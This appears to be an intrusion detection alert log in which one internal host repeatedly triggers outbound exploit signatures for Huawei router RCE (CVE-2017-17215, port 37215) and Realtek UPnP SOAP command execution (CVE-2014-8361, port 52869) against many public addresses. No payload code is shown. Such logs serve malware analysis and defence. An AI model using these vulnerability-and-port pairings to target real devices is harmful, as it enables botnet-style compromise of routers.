07/20/24-23:01:02.415804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47970	37215	192.168.2.14	41.248.220.216
07/20/24-23:01:34.935674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41694	52869	192.168.2.14	145.28.17.66
07/20/24-23:01:32.359729	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56644	52869	192.168.2.14	64.178.194.185
07/20/24-23:01:02.410515	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48420	37215	192.168.2.14	41.80.60.235
07/20/24-23:01:22.779210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43286	37215	192.168.2.14	41.191.107.82
07/20/24-23:01:25.287093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55486	37215	192.168.2.14	102.187.245.19
07/20/24-23:01:37.208725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51508	37215	192.168.2.14	197.29.142.28
07/20/24-23:01:25.291636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48330	37215	192.168.2.14	105.210.78.187
07/20/24-23:01:37.122115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46258	37215	192.168.2.14	122.53.137.158
07/20/24-23:01:11.472603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60006	37215	192.168.2.14	41.173.238.68
07/20/24-23:01:14.407392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60814	37215	192.168.2.14	157.225.1.100
07/20/24-23:01:19.221490	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40510	37215	192.168.2.14	157.203.191.120
07/20/24-23:01:05.812829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42766	52869	192.168.2.14	149.86.2.31
07/20/24-23:01:37.121609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50782	37215	192.168.2.14	157.63.147.250
07/20/24-23:01:05.896134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43030	37215	192.168.2.14	41.177.182.89
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54664	37215	192.168.2.14	157.95.181.167
07/20/24-23:01:30.874795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60010	52869	192.168.2.14	9.55.208.82
07/20/24-23:01:25.284909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34422	37215	192.168.2.14	157.51.85.189
07/20/24-23:01:05.911929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47550	37215	192.168.2.14	221.232.156.2
07/20/24-23:01:24.474342	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34730	52869	192.168.2.14	93.150.15.52
07/20/24-23:01:29.186915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44608	52869	192.168.2.14	84.193.36.239
07/20/24-23:01:02.411903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49206	37215	192.168.2.14	41.239.228.171
07/20/24-23:01:11.454991	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37672	37215	192.168.2.14	157.172.117.241
07/20/24-23:01:11.477507	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43184	37215	192.168.2.14	34.229.213.173
07/20/24-23:01:06.656946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50930	52869	192.168.2.14	35.112.217.187
07/20/24-23:01:29.175082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42712	52869	192.168.2.14	194.223.113.142
07/20/24-23:01:28.200134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55204	37215	192.168.2.14	197.6.153.64
07/20/24-23:01:29.173099	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47962	52869	192.168.2.14	17.93.26.147
07/20/24-23:01:05.920730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59830	37215	192.168.2.14	197.56.204.138
07/20/24-23:01:13.333893	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47904	52869	192.168.2.14	126.63.129.65
07/20/24-23:01:34.920034	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35826	52869	192.168.2.14	70.231.21.112
07/20/24-23:01:25.283485	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50314	37215	192.168.2.14	17.191.17.248
07/20/24-23:01:19.235468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46406	37215	192.168.2.14	157.139.107.156
07/20/24-23:01:28.216939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60942	37215	192.168.2.14	197.137.250.99
07/20/24-23:01:07.672387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37058	37215	192.168.2.14	67.242.247.76
07/20/24-23:01:02.414687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37178	37215	192.168.2.14	197.17.71.182
07/20/24-23:01:37.227564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44818	37215	192.168.2.14	197.174.38.103
07/20/24-23:01:13.333560	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32952	52869	192.168.2.14	178.57.58.147
07/20/24-23:01:37.214680	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53426	37215	192.168.2.14	80.101.241.103
07/20/24-23:01:24.602041	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45916	52869	192.168.2.14	193.152.255.240
07/20/24-23:01:34.958933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59908	52869	192.168.2.14	40.39.6.95
07/20/24-23:01:31.972321	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39046	52869	192.168.2.14	52.100.4.60
07/20/24-23:01:28.175716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51940	37215	192.168.2.14	160.6.169.188
07/20/24-23:01:11.448569	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51336	37215	192.168.2.14	197.133.177.131
07/20/24-23:01:06.119272	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46042	52869	192.168.2.14	62.62.247.176
07/20/24-23:01:33.049931	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35326	37215	192.168.2.14	197.217.208.13
07/20/24-23:01:25.476330	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48734	52869	192.168.2.14	134.20.23.71
07/20/24-23:01:28.143994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42482	37215	192.168.2.14	197.134.152.208
07/20/24-23:01:14.452336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38716	37215	192.168.2.14	143.52.168.238
07/20/24-23:01:34.958511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48284	52869	192.168.2.14	142.216.142.217
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51316	37215	192.168.2.14	197.228.120.64
07/20/24-23:01:37.158916	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38598	37215	192.168.2.14	41.166.90.82
07/20/24-23:01:19.221345	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54808	37215	192.168.2.14	157.87.163.161
07/20/24-23:01:13.330275	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40028	52869	192.168.2.14	31.90.157.252
07/20/24-23:01:24.736868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38976	52869	192.168.2.14	94.133.203.252
07/20/24-23:01:33.040755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44712	37215	192.168.2.14	9.118.97.45
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42420	37215	192.168.2.14	197.8.221.215
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33906	37215	192.168.2.14	41.112.125.130
07/20/24-23:01:13.330072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34968	52869	192.168.2.14	101.191.129.126
07/20/24-23:01:22.736743	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56192	37215	192.168.2.14	197.168.88.200
07/20/24-23:01:33.510703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46102	52869	192.168.2.14	27.2.47.157
07/20/24-23:01:11.480465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32918	37215	192.168.2.14	24.11.27.243
07/20/24-23:01:33.475941	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34302	52869	192.168.2.14	110.189.251.29
07/20/24-23:01:34.910407	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41156	52869	192.168.2.14	59.155.45.17
07/20/24-23:01:05.895754	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38070	37215	192.168.2.14	157.69.199.211
07/20/24-23:01:29.171040	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39946	52869	192.168.2.14	135.98.136.137
07/20/24-23:01:29.555558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34830	52869	192.168.2.14	128.10.172.66
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33632	37215	192.168.2.14	157.200.191.255
07/20/24-23:01:02.408597	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55560	37215	192.168.2.14	197.81.117.241
07/20/24-23:01:02.409019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38188	37215	192.168.2.14	197.249.151.109
07/20/24-23:01:02.415259	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37866	37215	192.168.2.14	161.127.78.197
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40496	37215	192.168.2.14	197.100.42.90
07/20/24-23:01:28.200134	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39638	37215	192.168.2.14	197.250.25.41
07/20/24-23:01:34.927043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50038	52869	192.168.2.14	163.184.63.212
07/20/24-23:01:25.288927	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36914	37215	192.168.2.14	157.52.131.170
07/20/24-23:01:06.319207	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51760	52869	192.168.2.14	2.46.59.12
07/20/24-23:01:22.769838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58388	37215	192.168.2.14	197.238.195.175
07/20/24-23:01:25.230657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42856	37215	192.168.2.14	169.252.154.154
07/20/24-23:01:18.195561	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39976	37215	192.168.2.14	197.56.17.244
07/20/24-23:01:02.412914	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35696	37215	192.168.2.14	157.71.253.214
07/20/24-23:01:25.295702	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53774	52869	192.168.2.14	217.168.109.210
07/20/24-23:01:05.911930	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56500	37215	192.168.2.14	58.195.53.166
07/20/24-23:01:23.025064	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45294	52869	192.168.2.14	97.239.211.144
07/20/24-23:01:34.958511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39004	52869	192.168.2.14	142.221.175.109
07/20/24-23:01:14.452336	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58222	37215	192.168.2.14	41.104.167.172
07/20/24-23:01:33.060990	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40342	37215	192.168.2.14	217.39.93.216
07/20/24-23:01:33.631018	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35436	52869	192.168.2.14	37.186.199.96
07/20/24-23:01:34.910408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39430	52869	192.168.2.14	13.17.82.210
07/20/24-23:01:11.467529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48860	37215	192.168.2.14	197.26.183.239
07/20/24-23:01:33.059039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47658	37215	192.168.2.14	81.62.161.33
07/20/24-23:01:05.475968	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42316	52869	192.168.2.14	39.70.52.243
07/20/24-23:01:11.460861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41180	37215	192.168.2.14	134.200.224.101
07/20/24-23:01:19.222378	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49772	37215	192.168.2.14	72.172.199.57
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56256	37215	192.168.2.14	41.157.22.213
07/20/24-23:01:05.439190	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58474	52869	192.168.2.14	177.133.134.55
07/20/24-23:01:05.906603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41588	37215	192.168.2.14	197.150.84.25
07/20/24-23:01:19.227537	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59338	37215	192.168.2.14	41.140.146.21
07/20/24-23:01:05.623290	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60148	52869	192.168.2.14	27.79.119.12
07/20/24-23:01:19.225297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52264	37215	192.168.2.14	41.64.235.27
07/20/24-23:01:19.335313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35632	37215	192.168.2.14	41.54.91.179
07/20/24-23:01:07.664911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54092	37215	192.168.2.14	157.95.112.138
07/20/24-23:01:14.457358	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59958	37215	192.168.2.14	197.13.99.243
07/20/24-23:01:05.898280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33400	37215	192.168.2.14	157.176.236.80
07/20/24-23:01:19.220285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57664	37215	192.168.2.14	19.249.253.104
07/20/24-23:01:22.784106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60936	37215	192.168.2.14	41.205.212.227
07/20/24-23:01:25.280228	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33246	37215	192.168.2.14	197.145.162.217
07/20/24-23:01:28.196415	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36600	37215	192.168.2.14	157.69.27.5
07/20/24-23:01:34.964842	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47942	52869	192.168.2.14	27.2.47.157
07/20/24-23:01:25.285323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58250	37215	192.168.2.14	157.162.113.218
07/20/24-23:01:34.899868	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36874	52869	192.168.2.14	175.5.152.252
07/20/24-23:01:07.410378	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47928	52869	192.168.2.14	196.159.190.117
07/20/24-23:01:07.679354	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49828	37215	192.168.2.14	157.22.42.117
07/20/24-23:01:19.225050	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49626	37215	192.168.2.14	157.163.127.218
07/20/24-23:01:33.585677	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42708	52869	192.168.2.14	81.201.211.116
07/20/24-23:01:34.899763	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50474	52869	192.168.2.14	45.24.39.65
07/20/24-23:01:34.911761	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51308	52869	192.168.2.14	194.97.213.111
07/20/24-23:01:59.292118	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60550	37215	192.168.2.14	46.76.70.226
07/20/24-23:01:07.668267	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54126	37215	192.168.2.14	157.4.255.227
07/20/24-23:01:30.603978	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40878	52869	192.168.2.14	1.85.153.115
07/20/24-23:01:13.330116	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33078	52869	192.168.2.14	27.79.119.12
07/20/24-23:01:22.779211	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42234	37215	192.168.2.14	157.158.75.9
07/20/24-23:01:34.209292	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58368	52869	192.168.2.14	124.36.191.164
07/20/24-23:01:06.258144	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57570	52869	192.168.2.14	85.70.210.244
07/20/24-23:01:29.678255	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56306	52869	192.168.2.14	17.165.228.4
07/20/24-23:01:29.725889	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33378	52869	192.168.2.14	117.101.242.241
07/20/24-23:01:22.796666	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36884	37215	192.168.2.14	197.144.197.199
07/20/24-23:01:25.289824	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38836	37215	192.168.2.14	124.114.110.102
07/20/24-23:01:33.265286	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44314	52869	192.168.2.14	221.142.162.73
07/20/24-23:01:29.170915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51244	52869	192.168.2.14	196.128.196.44
07/20/24-23:01:07.683360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42210	37215	192.168.2.14	41.199.112.223
07/20/24-23:01:11.456952	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34732	37215	192.168.2.14	41.189.47.250
07/20/24-23:01:22.783280	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42930	37215	192.168.2.14	197.34.216.226
07/20/24-23:01:33.038711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55234	37215	192.168.2.14	157.36.174.199
07/20/24-23:01:37.120918	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57708	37215	192.168.2.14	102.237.75.229
07/20/24-23:01:34.958932	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46122	52869	192.168.2.14	221.142.162.73
07/20/24-23:01:23.004732	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54816	52869	192.168.2.14	73.141.57.7
07/20/24-23:01:34.561729	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50172	52869	192.168.2.14	101.76.187.95
07/20/24-23:01:19.224455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59132	37215	192.168.2.14	157.80.131.183
07/20/24-23:01:24.078416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34982	52869	192.168.2.14	107.71.221.19
07/20/24-23:01:05.479588	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47768	52869	192.168.2.14	158.178.147.148
07/20/24-23:01:34.915141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37624	52869	192.168.2.14	175.5.21.0
07/20/24-23:01:34.972618	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50346	52869	192.168.2.14	192.67.13.54
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40214	37215	192.168.2.14	12.66.186.18
07/20/24-23:01:33.070886	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32990	37215	192.168.2.14	197.29.143.61
07/20/24-23:01:24.827189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54392	52869	192.168.2.14	106.0.79.225
07/20/24-23:01:37.160288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48218	37215	192.168.2.14	157.137.68.172
07/20/24-23:01:07.674222	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52500	37215	192.168.2.14	197.74.37.195
07/20/24-23:01:22.850149	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48528	52869	192.168.2.14	125.202.144.54
07/20/24-23:01:05.898214	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39202	37215	192.168.2.14	45.168.126.225
07/20/24-23:01:28.145934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51828	37215	192.168.2.14	197.114.73.230
07/20/24-23:01:33.068258	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53656	37215	192.168.2.14	197.208.145.61
07/20/24-23:01:33.050087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56428	37215	192.168.2.14	157.117.197.118
07/20/24-23:01:34.900554	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38172	52869	192.168.2.14	85.145.238.146
07/20/24-23:01:32.294949	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39508	52869	192.168.2.14	59.155.45.17
07/20/24-23:01:37.120918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45242	37215	192.168.2.14	157.61.237.244
07/20/24-23:01:02.411662	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60374	37215	192.168.2.14	13.86.185.73
07/20/24-23:01:14.405098	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55130	37215	192.168.2.14	157.109.42.214
07/20/24-23:01:24.727268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34282	52869	192.168.2.14	58.186.168.57
07/20/24-23:01:33.362728	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37854	52869	192.168.2.14	27.74.90.8
07/20/24-23:01:37.199306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47246	37215	192.168.2.14	157.233.41.33
07/20/24-23:01:34.922466	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54792	52869	192.168.2.14	169.172.43.160
07/20/24-23:01:14.397175	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44530	37215	192.168.2.14	157.101.182.69
07/20/24-23:01:13.334997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43356	52869	192.168.2.14	2.229.175.12
07/20/24-23:01:14.440842	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47862	37215	192.168.2.14	197.109.143.30
07/20/24-23:01:30.878337	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55804	52869	192.168.2.14	131.109.219.124
07/20/24-23:01:25.287093	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42054	37215	192.168.2.14	157.105.210.14
07/20/24-23:01:34.899757	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37728	52869	192.168.2.14	139.231.65.139
07/20/24-23:01:05.901568	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52986	37215	192.168.2.14	199.61.145.35
07/20/24-23:01:31.206469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46596	52869	192.168.2.14	142.116.242.190
07/20/24-23:01:33.177248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40194	52869	192.168.2.14	50.184.118.30
07/20/24-23:01:19.221962	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44188	37215	192.168.2.14	119.151.177.108
07/20/24-23:01:06.662973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42128	52869	192.168.2.14	2.229.175.12
07/20/24-23:01:22.777005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51612	37215	192.168.2.14	117.207.123.4
